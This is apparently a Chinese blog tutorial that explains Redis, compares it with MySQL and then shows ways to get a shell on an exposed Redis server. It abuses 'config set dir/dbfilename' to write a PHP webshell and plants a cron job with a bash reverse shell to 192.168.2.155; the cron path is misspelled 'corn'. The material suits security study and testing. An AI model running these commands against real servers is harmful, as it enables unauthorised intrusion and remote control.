什么是redis

一个免费、开源的Key-Value数据库。(MySQL是关系型数据库)

redis和mysql的区别
  1. mysql可以通过where等sql语句来查询想要的数据,而redis并不关系存储的数据类型,只能通过key来寻找value,也就是说Key-Value需要通过遍历所有的key才能找到想要的value。
  2. mysql的存储更加倾向于作为一个表,而redis则是键值对。

放一张其他地方看到的图,会更加容易理解:

redis的get方法参数 redis getshell几种方法_redis


上面是关系型数据库,下面是Key-Value型数据库

redis的get方法参数 redis getshell几种方法_php_02


一般来说:

mysql用于持久化的存储数据到硬盘,功能强大,但是速度较慢。

redis用于存储使用较为频繁的数据到缓存中,读取速度快。

redis的一些常规操作

首先利用apt-get install redis-server在linux下安装好redis,然后在命令行输入redis-cli即可进入redis服务器。
redis一般是6379端口。
redis安装完成以后有自己的命令行,也就是redis-cli,其中包含的命令可以在http://redis.io/commands 进行查阅。
redis通过set来设置key和value,利用get来通过key查询value。

redis如何getshell

由于redis存储的文件是二进制,且可以被执行用来存储数据的文件和路径可以被用户通过命令更改,所以可以被利用进行getshell。

  1. 先来最简单的:
    利用redis的配置dbfilename和dir用来任意文件写入,再用save命令将文件写入到硬盘。
config set dir /var/www/html/
config set dbfilename redis.php
set webshell "<?php phpinfo();?>"
save

效果如图:

redis的get方法参数 redis getshell几种方法_php_03


2. 反弹shell(ubuntu显示Failed opening the RDB file root (in server root dir /var/spool/cron) for saving: Permission denied错误):

config set dir /var/spool/corn/
config set dbfilename root
set x "\n* * * * * bash -i >& /dev/tcp/192.168.2.155/2333 0>&1\n"
save
  1. 利用ssh连接,这个我也没太看明白,到时候再研究:

需要注意以下几点:

  1. 前往官网下载,不要用apt-get install redis-server命令,不知道为什么,apt安装的redis我不能正常save,但官网下载的可以正常启动
  2. 官网下载的在启动了redis之后,需要新开一个terminal利用redis-cli连接redis,但可以通过原来的terminal查看信息,效果如图:

    参考文章:https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.htmlhttps://www.jianshu.com/p/33fd9eb90e98